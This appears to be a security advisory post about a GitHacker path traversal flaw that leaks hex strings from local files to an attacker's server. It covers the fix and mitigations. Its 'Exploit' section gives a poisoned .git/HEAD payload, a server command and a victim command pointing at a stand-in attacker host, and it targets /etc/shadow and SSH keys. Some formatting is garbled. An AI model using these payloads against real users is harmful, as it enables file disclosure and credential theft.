Listen to this Post
The vulnerability in GitHacker versions up to 1.1.7 arises from insufficient validation of path segments parsed from attacker‑controlled `.git/HEAD` content. GitHacker is a tool that reconstructs a remote Git repository by fetching objects and references into a local `temp_dst` directory. The core flaw resides in two interconnected functions. `add_head_file_tasks` downloads the remote `.git/HEAD` file, parses the line ref: <ref-path>, and naïvely joins the raw `../../../../../../etc/passwd. This causes `os.path.join` to traverse outside the intended `temp_dst` directory, leading to a local file read on the victim’s machine. The bytes of that file are then passed to add_hashes_parsed, which scans every read file for any 40‑character hexadecimal substring (matching the pattern of Git object hashes, SHA‑1, or HMAC‑SHA1 outputs). For each such match, the function automatically issues an outbound HTTP GET request to the attacker’s server, asking for .git/objects/<sha[0:2]>/<sha[2:]>. This creates an egress channel: the attacker’s server logs these requests, effectively revealing whether the targeted file contains any 40‑char hex strings. While the full file content does not stream back wholesale, the combination of (1) an existence oracle for any absolute path (since the traversal attempt either succeeds or fails, and the server can observe the HTTP requests generated from matches) and (2) the exfiltration of hex fragments provides a potent information disclosure primitive. The attacker must trick the victim into running `githacker` against a malicious URL, but no further interaction is required once the command is executed. The fix in commit `5f2a8ba` introduces a strict allowlist (_is_safe_path_segment) that rejects empty segments, ., .., separators, NUL bytes, and control characters before any path joins occur. This removes the brittle `replace(“..”, “”)` filter and also hardens URL construction with percent‑encoding, eliminating the TOCTOU race that a post‑fact `os.path.realpath()` check would leave open. Regression tests in `16fcd81` verify the patch against multiple bypass variants.
DailyCVE Form:
Platform: GitHacker CLI
Version: 1.1.7
Vulnerability: Path Traversal
Severity: High
Date: 2024-04
Prediction: Already patched (1.1.8)
What Undercode Say:
Simulate malicious server payload for .git/HEAD echo "ref: ../../../../../../etc/passwd" > .git/HEAD Start a simple HTTP server to host malicious .git/ python3 -m http.server 8000 Victim runs: githacker --url http://attacker:8000/.git/ --output-dir ./leak Attacker's server logs show outbound GETs for each 40-char hex match: "GET /.git/objects/5e/... HTTP/1.1" -> indicates existence of those hex fragments in /etc/passwd
Exploit: (Educational Purposes!)
- Craft a `.git/HEAD` with `ref: ../../../../../../etc/shadow` (or any absolute path).
- Host it on a web server alongside a minimal `.git/` structure to satisfy GitHacker’s initial fetch.
- When the victim runs
githacker --url http://attacker:8000/.git/`, the tool reads the poisoned HEAD, traverses out oftemp_dst`, and reads the target file. - The `add_hashes_parsed` function then sends an HTTP request to the attacker for every 40‑char hex substring found in that file (e.g., password hashes, SSH key fingerprints, Git packfile names).
- Monitor the attacker’s access logs to infer file contents or confirm file existence.
Protection: from this CVE
- Upgrade to GitHacker 1.1.8 (commit
5f2a8ba) which enforces allowlist‑based path validation and removes dangerous string replacements. - Always run GitHacker inside a disposable container (e.g., Docker with `–read-only` root filesystem) to limit the impact of path traversal.
- Never point GitHacker at untrusted URLs; treat any remote `.git/` source as potentially malicious.
- As a workaround, manually patch `add_head_file_tasks` to reject any segment containing `..` or starting with `/` until an upgrade is applied.
Impact:
- Existence Oracle: Attackers can test for the presence of any file on the host (e.g.,
/etc/shadow,/root/.ssh/id_rsa,/home/user/.git-credentials, build secrets under/tmp/) by observing which outbound HTTP requests are triggered. - Hex‑Fragment Exfiltration: Files containing 40‑character hex sequences (common in Git repositories, cryptographic materials, session tokens, and HMAC outputs) leak those fragments to the attacker’s server, potentially compromising credentials or source code.
- No Remote Code Execution: The primitive is read‑only and does not allow file writes or command execution on the victim’s system.
- Victim‑Initiated: The attack requires user action (running the tool against a malicious URL), but social engineering or poisoned documentation can easily induce this.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
